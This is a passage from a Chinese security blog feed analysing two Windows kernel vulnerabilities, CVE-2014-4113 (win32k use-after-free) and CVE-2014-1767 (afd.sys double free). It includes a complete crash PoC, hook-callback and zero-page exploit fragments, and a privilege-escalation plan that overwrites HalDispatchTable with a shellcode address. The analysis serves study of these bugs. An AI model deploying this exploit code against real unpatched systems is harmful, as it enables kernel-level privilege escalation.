c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Destroys the menu and then returns -5, this will be passed to xxxSendMessage which will then use it as a pointer.</span></span><br><span class="line"><span class="function">LRESULT CALLBACK <span class="title">HookCallbackTwo</span><span class="params">(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Callback two called.\n"</span>);</span><br><span class="line">EndMenu();</span><br><span class="line"><span class="keyword">return</span> <span class="number">-5</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="function">LRESULT CALLBACK <span class="title">HookCallback</span><span class="params">(<span class="keyword">int</span> code, WPARAM wParam, LPARAM lParam)</span> </span>&#123;</span><br><span class="line"><span class="built_in">printf</span>(<span class="string">"Callback one called.\n"</span>);</span><br><span class="line"><span class="comment">/* lParam is a pointer to a CWPSTRUCT which is defined as:</span></span><br><span class="line"><span class="comment">typedef struct tagCWPSTRUCT &#123;</span></span><br><span class="line"><span class="comment">LPARAM lParam;</span></span><br><span class="line"><span class="comment">WPARAM wParam;</span></span><br><span class="line"><span class="comment">UINT   message;</span></span><br><span class="line"><span class="comment">HWND   hwnd;</span></span><br><span class="line"><span class="comment">&#125; CWPSTRUCT, *PCWPSTRUCT, *LPCWPSTRUCT;</span></span><br><span class="line"><span class="comment">*/</span></span><br><span class="line"><span class="comment">//lparam+8 is the message sent to the window, here we are checking for the message which is sent to a window when the function xxxMNFindWindowFromPoint is called</span></span><br><span class="line"><span class="keyword">if</span> (*(DWORD *)(lParam + <span class="number">8</span>) == <span class="number">0x1EB</span>) &#123;</span><br><span class="line"><span class="keyword">if</span> (UnhookWindowsHook(WH_CALLWNDPROC, HookCallback)) &#123;</span><br><span class="line"><span class="comment">//lparam+12 is a Window Handle pointing to the window - here we are setting its callback to be our second one</span></span><br><span class="line">SetWindowLongA(*(HWND *)(lParam + <span class="number">12</span>), GWLP_WNDPROC, (LONG)HookCallbackTwo);</span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"><span class="keyword">return</span> CallNextHookEx(<span class="number">0</span>, code, wParam, lParam);</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x02：漏洞利用"><a href="#0x02：漏洞利用" class="headerlink" title="0x02：漏洞利用"></a>0x02：漏洞利用</h1><p>接下来就是我们最喜欢的漏洞利用环节了，让我们首先看一个令人兴奋的片段</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line">loc_95DB94E8:</span><br><span class="line">push    [ebp+Src]</span><br><span class="line">push    dword ptr [ebp+UnicodeString]</span><br><span class="line">push    ebx</span><br><span class="line">push    esi</span><br><span class="line">call    dword ptr [esi+<span class="number">60</span>h] <span class="comment">// call 0x5b</span></span><br><span class="line">mov     ecx, [ebp+arg_18]</span><br><span class="line">test    ecx, ecx</span><br><span class="line">jz      loc_95DB9591</span><br></pre></td></tr></table></figure><p>这个位置是哪里呢?让我用图片给你说明，因为零页可控，所以我们只需要考虑从漏洞点走到利用点，然后在 0x5c 处放置我们的shellcode即可提权</p><p><img src="/2019/02/21/CVE-2014-4113 Windows内核经典Use Afer Free漏洞分析/22.png" alt="1566471330121"></p><p>期间我们有两处判断，第一处只需要赋值当前的<code>Win32ThreadInfo</code>结构即可，第二处判断赋值为4即可，最后放上我们的shellcode即可</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">DWORD __<span class="function">stdcall  <span class="title">ptiCurrent</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">__asm &#123;</span><br><span class="line">mov eax, fs:<span class="number">18</span>h <span class="comment">//eax pointer to TEB</span></span><br><span class="line">mov eax, [eax + <span class="number">40</span>h] <span class="comment">//get pointer to Win32ThreadInfo</span></span><br><span class="line">&#125;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">*(DWORD*)(<span class="number">0x3</span>) = (DWORD)ptiCurrent();</span><br><span class="line">*(DWORD*)(<span class="number">0x11</span>) = (DWORD)<span class="number">4</span>;</span><br><span class="line">*(DWORD*)(<span class="number">0x5b</span>) = (DWORD)&amp;ShellCode;</span><br></pre></td></tr></table></figure><p>最终的利用代码在 =&gt; <a href="https://github.com/ThunderJie/CVE/blob/master/CVE-2014-4113/CVE-2014-4113.c" target="_blank" rel="noopener">GitHub</a></p><h1 id="0x03：后记"><a href="#0x03：后记" class="headerlink" title="0x03：后记"></a>0x03：后记</h1><p>其实这个漏洞我很早之前就分析过，但是都是分析的成品Exploit，当时不是很了解内核，分析起来非常吃力，现在重新回来分析一次又有不一样的收获，就像我现在分析CVE-2015-0057一样，毫无思绪，分析完这篇之后我会考虑分析CVE-2015-2546，最后再到CVE-2015-0057</p>]]></content>
    
    <summary type="html">
    
      
      
        &lt;h1 id=&quot;0x00：前言&quot;&gt;&lt;a href=&quot;#0x00：前言&quot; class=&quot;headerlink&quot; title=&quot;0x00：前言&quot;&gt;&lt;/a&gt;0x00：前言&lt;/h1&gt;&lt;p&gt;CVE-2014-4113是一个非常经典的内核漏洞，本片文章从Poc触发，分析如何构造Exploit
      
    
    </summary>
    
      <category term="Windows Kernel" scheme="https://thunderjie.github.io/categories/Windows-Kernel/"/>
    
      <category term="Use After Free" scheme="https://thunderjie.github.io/categories/Windows-Kernel/Use-After-Free/"/>
    
    
      <category term="Use After Free" scheme="https://thunderjie.github.io/tags/Use-After-Free/"/>
    
  </entry>
  
  <entry>
    <title>CVE-2014-1767 Windows内核Double Free漏洞分析</title>
    <link href="https://thunderjie.github.io/2019/02/21/CVE-2014-1767%20Windows%E5%86%85%E6%A0%B8Double%20Free%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/"/>
    <id>https://thunderjie.github.io/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/</id>
    <published>2019-02-21T02:56:03.000Z</published>
    <updated>2020-05-07T03:25:41.045Z</updated>
    
    <content type="html"><![CDATA[<h1 id="0x00：前言"><a href="#0x00：前言" class="headerlink" title="0x00：前言"></a>0x00：前言</h1><p>这次分析一个内核漏洞，信息量有点大，有不对的地方欢迎指正，介绍一下这个漏洞吧，2014年“最佳提权漏洞奖”得主，影响力还是很大的，实验环境的一些文件我放到GitHub上了，需要的自行下载：<a href="https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767" target="_blank" rel="noopener">https://github.com/ThunderJie/CVE/tree/master/CVE-2014-1767</a></p><h1 id="0x01：实验环境"><a href="#0x01：实验环境" class="headerlink" title="0x01：实验环境"></a>0x01：实验环境</h1><ul><li>Windows 7 x86（虚拟机）</li><li>Windbg 10.0.17134.1 + virtualKD（双机调试）</li><li>Visual C++ 6.0（编译器）</li><li>IDA Pro（反汇编）</li><li>poc.exe</li><li>exp.exe</li></ul><h2 id="a-双机调试的环境如下："><a href="#a-双机调试的环境如下：" class="headerlink" title="a.双机调试的环境如下："></a>a.双机调试的环境如下：</h2><p><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/环境配置.gif" alt="环境配置"></p><h2 id="b-poc的生成（VC6-0下编译）"><a href="#b-poc的生成（VC6-0下编译）" class="headerlink" title="b.poc的生成（VC6.0下编译）"></a>b.poc的生成（VC6.0下编译）</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;windows.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">include</span><span class="meta-string">&lt;stdio.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="meta-keyword">pragma</span> comment(lib,<span class="meta-string">"WS2_32.lib"</span>)</span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="keyword">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">   DWORD targetSize=<span class="number">0x310</span>;</span><br><span class="line">   DWORD virtualAddress=<span class="number">0x13371337</span>;</span><br><span class="line">   DWORD mdlSize=(<span class="number">0x4000</span>*(targetSize<span class="number">-0x30</span>)/<span class="number">8</span>)<span class="number">-0xFFF0</span>-(virtualAddress&amp; <span class="number">0xFFF</span>);</span><br><span class="line">   <span class="keyword">static</span> DWORD inbuf1[<span class="number">100</span>];</span><br><span class="line">   <span class="built_in">memset</span>(inbuf1,<span class="number">0</span>,<span class="keyword">sizeof</span>(inbuf1));</span><br><span class="line">   inbuf1[<span class="number">6</span>]=virtualAddress;</span><br><span class="line">   inbuf1[<span class="number">7</span>]=mdlSize;</span><br><span class="line">   inbuf1[<span class="number">10</span>]=<span class="number">1</span>;</span><br><span class="line">   <span class="keyword">static</span> DWORD inbuf2[<span class="number">100</span>];</span><br><span class="line">   <span class="built_in">memset</span>(inbuf2,<span class="number">0</span>,<span class="keyword">sizeof</span>(inbuf2));</span><br><span class="line">   inbuf2[<span class="number">0</span>]=<span class="number">1</span>;</span><br><span class="line">   inbuf2[<span class="number">1</span>]=<span class="number">0x0AAAAAAA</span>;</span><br><span class="line">   WSADATA WSAData;</span><br><span class="line">   SOCKET s;</span><br><span class="line">   sockaddr_in sa;</span><br><span class="line">   <span class="keyword">int</span> ierr;</span><br><span class="line">   WSAStartup(<span class="number">0x2</span>,&amp;WSAData);</span><br><span class="line">   s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);</span><br><span class="line">   <span class="built_in">memset</span>(&amp;sa,<span class="number">0</span>,<span class="keyword">sizeof</span>(sa));</span><br><span class="line">   sa.sin_port=htons(<span class="number">135</span>);</span><br><span class="line">   sa.sin_addr.S_un.S_addr=inet_addr(<span class="string">"127.0.0.1"</span>);</span><br><span class="line">   sa.sin_family=AF_INET;</span><br><span class="line">   ierr=connect(s,(<span class="keyword">const</span> struct sockaddr *)&amp;sa,<span class="keyword">sizeof</span>(sa));</span><br><span class="line">   <span class="keyword">static</span> <span class="keyword">char</span> outBuf[<span class="number">100</span>];</span><br><span class="line">   DWORD bytesRet;</span><br><span class="line">   DeviceIoControl((HANDLE)s,<span class="number">0X1207F</span>,(LPVOID)inbuf1,<span class="number">0x30</span>,outBuf,<span class="number">0</span>,&amp;bytesRet,<span class="literal">NULL</span>);</span><br><span class="line">   DeviceIoControl((HANDLE)s,<span class="number">0X120C3</span>,(LPVOID)inbuf2,<span class="number">0x18</span>,outBuf,<span class="number">0</span>,&amp;bytesRet,<span class="literal">NULL</span>);</span><br><span class="line">   <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><h1 id="0x02：漏洞原理"><a href="#0x02：漏洞原理" class="headerlink" title="0x02：漏洞原理"></a>0x02：漏洞原理</h1><p>该漏洞是由于Windows的afd.sys驱动在对系统内存的管理操作中，存在着悬垂指针的问题。在特定情况下攻击者可以通过该悬垂指针造成内存的double free漏洞。</p><h2 id="知识点"><a href="#知识点" class="headerlink" title="知识点"></a>知识点</h2><p>Double free，内核相关知识等等</p><h1 id="0x03：漏洞分析"><a href="#0x03：漏洞分析" class="headerlink" title="0x03：漏洞分析"></a>0x03：漏洞分析</h1><h2 id="1-初步分析"><a href="#1-初步分析" class="headerlink" title="1.初步分析"></a>1.初步分析</h2><p>调试运行poc得到以下报错，崩溃原因是重复释放了一块已经被释放了的内存:<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/1.png" alt="1"></p><p>调用堆栈信息:<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/2.png" alt="2"></p><p>我们可以得到如下函数的调用关系:</p><blockquote><p>afd!AfdTransmitPackets-&gt;afd!AfdTliGetTpInfo-&gt;afd!AfdReturnTpInfo-&gt;nt!IoFreeMdl-&gt;nt!ExFreePoolWithTag-&gt;nt!KeBugCheck2</p></blockquote><p>可以看到，出问题的是afd模块，我们查看afd模块详细信息:<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/3.png" alt="3"></p><p>得到以上分析后，我们需要搞清楚poc做了什么事情，首先初始化本地socket连接，然后发送了两次数据，poc一共调用了两次DeviceIoControl函数，向控制码0x1207F和0x120C3发送了数据，我们直接从这两次IO控制码分发函数入手。</p><h2 id="2-第一次调用分析（0x1207F）"><a href="#2-第一次调用分析（0x1207F）" class="headerlink" title="2. 第一次调用分析（0x1207F）"></a>2. 第一次调用分析（0x1207F）</h2><p>我们首先针对nt!NtDeviceIoControlFile设置条件断点，当其在处理0x1207F时断下，根据官方文档，该函数的第六个参数是IO控制码，也就是esp+18，因此条件断点为：</p><blockquote><p>bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x1207F){}.else{gc;}”</p></blockquote><p><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/4.png" alt="4"></p><h3 id="1-AfdTransmitFile-函数分析"><a href="#1-AfdTransmitFile-函数分析" class="headerlink" title="1)AfdTransmitFile 函数分析"></a>1)AfdTransmitFile 函数分析</h3><p>断下来之后查看堆栈情况和调用情况:<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/5.png" alt="5"></p><p>可以使用wt命令跟踪后续函数调用过程，可以发现，当 IoControlCode=0x1207F 时，afd 驱动会调用 afd!AfdTransmitFile 函数，我们直接对这个函数进行分析，这里我们直接用IDA反编译Afd中的AfdTransmitFile函数，因为该函数有两个参数(pIRP和pIoStackLocation)，我们将反编译的a1，a2改名为该参数，通过 IoStackLocation 我们就可以访问用户传递的数据了：<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/6.png" alt="6"></p><p>通过分析，我们想要调用AfdTliGetTpInfo函数，必须满足这三个条件：</p><blockquote><p>(v54 &amp; 0xFFFFFFC8) ==0<br>(v54 &amp; 0x30) != 0x30<br>(v54 &amp; 0x30) != 0</p></blockquote><h3 id="2-AfdTliGetTpInfo-函数分析"><a href="#2-AfdTliGetTpInfo-函数分析" class="headerlink" title="2)AfdTliGetTpInfo 函数分析"></a>2)AfdTliGetTpInfo 函数分析</h3><p>满足上面条件之后，程序会调用AfdTliGetTpInfo函数，TpInfoElementCount是这个函数的参数，该函数的返回值是一个指向TpInfo结构体的指针，根据对AfdTransmitFile剩余函数部分的分析，该结构体大致如下：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">TpInfo</span> </span></span><br><span class="line"><span class="class">&#123;</span> </span><br><span class="line">......</span><br><span class="line">TpInfoElement *pTpInfoElement ; <span class="comment">// +0x20, TpInfoElement数组指针 </span></span><br><span class="line">......</span><br><span class="line">ULONG TpInfoElementCount;       <span class="comment">// +0x28, TpInfoElement数组元素个数</span></span><br><span class="line">......</span><br><span class="line">ULONG AfdTransmitIoLength;      <span class="comment">// +0x38, 传输的默认IO长度 </span></span><br><span class="line">......</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">TpInfoElement</span> &#123;</span> </span><br><span class="line"><span class="keyword">int</span> status;     <span class="comment">// +0x00, 状态码</span></span><br><span class="line">ULONG length ; <span class="comment">// +0x04, 长度 </span></span><br><span class="line">PVOID VirtualAddress ; <span class="comment">// +0x08, 虚拟地址 </span></span><br><span class="line">PVOID *pMdl ; <span class="comment">// +0x0C, 指向MDL内存描述符表的指针 </span></span><br><span class="line">ULONG Reserved1 ; <span class="comment">// +0x10, 未知</span></span><br><span class="line">ULONG Reserved2 ; <span class="comment">// +0x14, 未知</span></span><br><span class="line">&#125; ;</span><br></pre></td></tr></table></figure></p><p>用IDA反编译AfdTliGetTpInfo函数可以发现：<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/7.png" alt="7"></p><p>以上就是函数 AfdTliGetTpInfo, 函数会根据参数从一个 Lookaside List 中申请 TpInfo 结构体，函数中调用的ExAllocateFromNPagedLookasideList函数含义大致如下：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">TpInfo* __<span class="function">stdcall <span class="title">ExAllocateFromNPagedLookasideList</span><span class="params">(PNPAGED_LOOKASIDE_LIST Lookaside)</span> </span></span><br><span class="line"><span class="function"></span>&#123; </span><br><span class="line">*(Lookaside+<span class="number">0x0C</span>) ++ ; </span><br><span class="line">tpInfo = InterlockedPopEntrySList( Lookaside ) </span><br><span class="line"><span class="keyword">if</span>( tpInfo == <span class="literal">NULL</span>) </span><br><span class="line">&#123; </span><br><span class="line">*(Lookaside+<span class="number">0x10</span>)++; </span><br><span class="line">tpInfo = AfdAllocateTpInfo(NonPagedPool,<span class="number">0x108</span> ,<span class="number">0xc6646641</span>) ;</span><br><span class="line">&#125; </span><br><span class="line"><span class="keyword">return</span> tpInfo </span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>AfdInitializeTpInfo 是一个初始化数据 tpInfo 的函数，我们直接分析赋值部分：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">AfdInitializeTpInfo(tpInfo, elemCount, stacksize, x)</span><br><span class="line">&#123;</span><br><span class="line">……</span><br><span class="line">tpInfo-&gt;pElemArray = tpInfo+<span class="number">0x90</span> </span><br><span class="line">tpInfo-&gt;elemCount = <span class="number">0</span> </span><br><span class="line">tpInfo-&gt;isOuterMem = <span class="literal">false</span></span><br><span class="line">……</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure></p><p>根据上面的几个函数调用关系，我们可以大致分析的出来函数的调用顺序，经过以下调用，我们可以得到一个tpInfo结构体：</p><blockquote><p>ExAllocateFromNPagedLookasideList-&gt;AfdAllocateTpInfo-&gt;AfdInitializeTpInfo</p></blockquote><p>现在我们拿到结构体之后继续分析AfdTransmitFile函数剩余的一些部分:<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/8.png" alt="8"></p><p>MmProbeAndLockPages函数锁定的无效地址是Poc中设置的值，因此触发异常，调用AfdReturnTpInfo函数:<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/9.png" alt="9"></p><p>在AfdReturnTpInfo函数中，由于在释放MDL资源后，未对TpInfoElement+0xC指针清空，导致后面再次调用时将被IoFreeMdl函数用于释放内存，导致双重释放漏洞。<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/10.png" alt="10"></p><h2 id="3-第二次调用分析（0x120C3）"><a href="#3-第二次调用分析（0x120C3）" class="headerlink" title="3. 第二次调用分析（0x120C3）"></a>3. 第二次调用分析（0x120C3）</h2><p>第二次追踪控制码，程序会调用afd!AfdTransmitPackets函数，我们继续下条件断点：</p><blockquote><p>bp nt!NtDeviceIoControlFile “.if (poi(esp+18) = 0x120C3){}.else{gc;}”</p></blockquote><p><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/11.png" alt="11"></p><p>afd!AfdTransmitPackets函数仍然有两个参数pIRP和pIoStackLocation，我们用IDA反编译查看分析，需要满足以下三个条件实现AfdTdiGetTpInfo函数：<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/12.png" alt="12"></p><p>Poc中设置inbuf2为0xAAAAAAA个TpInfoElement，一共占0x18*0xAAAAAAA = 0xFFFFFFF0，显然申请如此大内存会触发异常调用AfdReturnTpInfo函数<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/13.png" alt="13"></p><p>继续运行，该函数再次调用时会触发漏洞，导致系统蓝屏<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/14.png" alt="14"></p><h1 id="0x04：漏洞利用"><a href="#0x04：漏洞利用" class="headerlink" title="0x04：漏洞利用"></a>0x04：漏洞利用</h1><h2 id="1-思路"><a href="#1-思路" class="headerlink" title="1.思路"></a>1.思路</h2><p>思路是不可能有思路的，这里当然是选择参考分析大佬的思路：<br>[1]. 调用 DeviceIoControl， IoControlCode = 0x1207F, 造成一次 MDL free<br>[2]. 创建某个对象，使得这个对象恰好占据刚才被 free 掉的空间，至此转化 double-free 为 use-after-free 问题<br>[3]. 调用 DeviceIoControl, IoControlCode =0x120c3，走入重复释放流程，释放掉刚才新申请的对象<br>[4]. 覆盖被释放掉的对象为可控数据（伪造对象）<br>[5]. 尝试调用能够操作此对象的函数，让函数通过操作我们刚刚覆盖的可控数据，实现一个内核内存写操作，这个写操作最理想的就是“任意地址写任意内容”，这样我们就可以覆写 HalDispatchTable 的某个单元为我们 ShellCode 的地址，这样就可以劫持一个内核函数调用<br>[6]. 用户层触发刚刚被 Hook 的 HalDispatchTable 函数，使得内核执行 shellcode，达到提权的效果<br>简而言之，就是把double free玩成了UAF，实现一个内存的写，然后hook掉该函数</p><h2 id="2-对象的选择"><a href="#2-对象的选择" class="headerlink" title="2.对象的选择"></a>2.对象的选择</h2><p>由于对象的大小要等于第一次free的大小，并且这个对象应该有这样一个操作函数，这个函数能够操作我们的恶意数据，使得我们间接实现任意地址写任意内容。第一次释放的大小通过逆向 IoAllocateMdl可以看出，MDL 对象的大小是由 virtualAddress 和 length 共同决定的，具体大小是：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">pages = ((Length &amp; <span class="number">0xFFF</span>) + (VirtualAddress &amp; <span class="number">0xFFF</span>) + <span class="number">0xFFF</span>)&gt;&gt;<span class="number">12</span> + (length&gt;&gt;<span class="number">12</span>) </span><br><span class="line">freedSize = mdlSize = pages*<span class="keyword">sizeof</span>(PVOID) + <span class="number">0x1C</span></span><br></pre></td></tr></table></figure></p><p>对于操作函数Siberas团队使用的是WorkerFactory函数，位置是反编译下图的exe，IDA中的函数是sub_468875<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/15.png" alt="15"></p><p>我们找到关键的地方分析：<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/16.png" alt="16"></p><p>可以看到，当参数满足一定条件（arg2 == 8 &amp;&amp; *arg3 !=0)时，我们可以达到一个任意地址写任意数据的目的：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">*(_DWORD *)(*(_DWORD *)(*(_DWORD *)Object + <span class="number">0x10</span>) + <span class="number">0x1C</span>) = v12;</span><br></pre></td></tr></table></figure></p><p>我们可以设置 :<br> <figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">arg3 = ShellCode </span><br><span class="line">*(*object+<span class="number">0x10</span>)+<span class="number">0x1C</span> =(HalDispatchTable+<span class="number">0x4</span>)=HaliQuerySystemInformation</span><br></pre></td></tr></table></figure></p><p>这样就可以将shellcode地址写入HaliQuerySystemInformation，供后续shellcode执行。<br>我们分析知道被释放的 MDL 属于 NonPagedPool，而用户空间的 VirtualAlloc 并没有能 力为我们在 NonPagedPool 上分配空间从而让我们覆盖我们的数据！这就又要采取类似使用 NtSetInformationWorkerFactory 的方法，找那样一个 Nt*系列函数，它的内部操作 能够为我们完成一次 ExAllocatePool 并且是 NonPagedPool，并且还有能复制我们的数 据到它新申请的这个内存中去，说白了就是完成一次内核 Alloc 并且 memcpy 的操作，借助那篇 pdf 的思路，就是NtQueryEaFile 函数，下面是函数原型和关键的参数：<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/17.png" alt="17"></p><p>我们还是用IDA反编译看一下内容：<br><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/18.png" alt="18"></p><p><img src="/2019/02/21/CVE-2014-1767 Windows内核Double Free漏洞分析/19.png" alt="19"></p><p>就是说内部会调用 ：<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">p = ExAllocatePoolWithQuotaTag(NonPagedPool, EaLength, <span class="number">0x20206F49</span>) </span><br><span class="line"><span class="built_in">memcpy</span>(p, EaList)</span><br></pre></td></tr></table></figure></p><p>其中 EaLength 与 EaList 都是输入参数，用户可控。当ExAllocatePoolWithQuotaTag再次调用ExAllocatePoolWithTag,其长度值会再加上4，即实际上ExAllocatePoolWithQuoTag分配的长度是EaLength+4，在对释放对象内存进行占用时，应该将对象大小objectsize – 4,才能成功占用。</p><h2 id="3-确定WorkerFactory对象的大小"><a href="#3-确定WorkerFactory对象的大小" class="headerlink" title="3. 确定WorkerFactory对象的大小"></a>3. 确定WorkerFactory对象的大小</h2><p>WorkerFactory占用空间的大小我们跟踪这条链：</p><blockquote><p>NtCreateWorkerFactory-&gt;ObpCreateObject-&gt;ObpAllocateObject-&gt; ExAllocatePoolWithTag</p></blockquote><p>我们发现申请的内存大小是0xA0字节</p><h2 id="4-exp的编写"><a href="#4-exp的编写" class="headerlink" title="4.exp的编写"></a>4.exp的编写</h2><p>这里借助会飞的猫大佬的exp，在VS2015，release版本下编译，提权成功，大佬的思路也非常清晰：<br>1)首先第一次释放前通过WorkerFactory对象的大小反推inbuf1的Length参数，并设置好inbuf2的值<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">DWORD targetSize = <span class="number">0xA0</span>;</span><br><span class="line">DWORD virtualAddress = <span class="number">0x13371337</span>;</span><br><span class="line">DWORD Length = ((targetSize - <span class="number">0x1C</span>) / <span class="number">4</span> - (virtualAddress % <span class="number">4</span> ? <span class="number">1</span> : <span class="number">0</span>)) * <span class="number">0x1000</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> DWORD inbuf1[<span class="number">100</span>];</span><br><span class="line"><span class="built_in">memset</span>(inbuf1, <span class="number">0</span>, <span class="keyword">sizeof</span>(inbuf1));</span><br><span class="line">inbuf1[<span class="number">6</span>] = virtualAddress;</span><br><span class="line">inbuf1[<span class="number">7</span>] = Length;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">static</span> DWORD inbuf2[<span class="number">100</span>];</span><br><span class="line"><span class="built_in">memset</span>(inbuf2, <span class="number">0</span>, <span class="keyword">sizeof</span>(inbuf2));</span><br><span class="line">inbuf2[<span class="number">0</span>] = <span class="number">1</span>;</span><br><span class="line">inbuf2[<span class="number">1</span>] = <span class="number">0x0AAAAAAA</span>;</span><br></pre></td></tr></table></figure></p><p>2)创建一个Workerfactory对象<br><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">//Create a 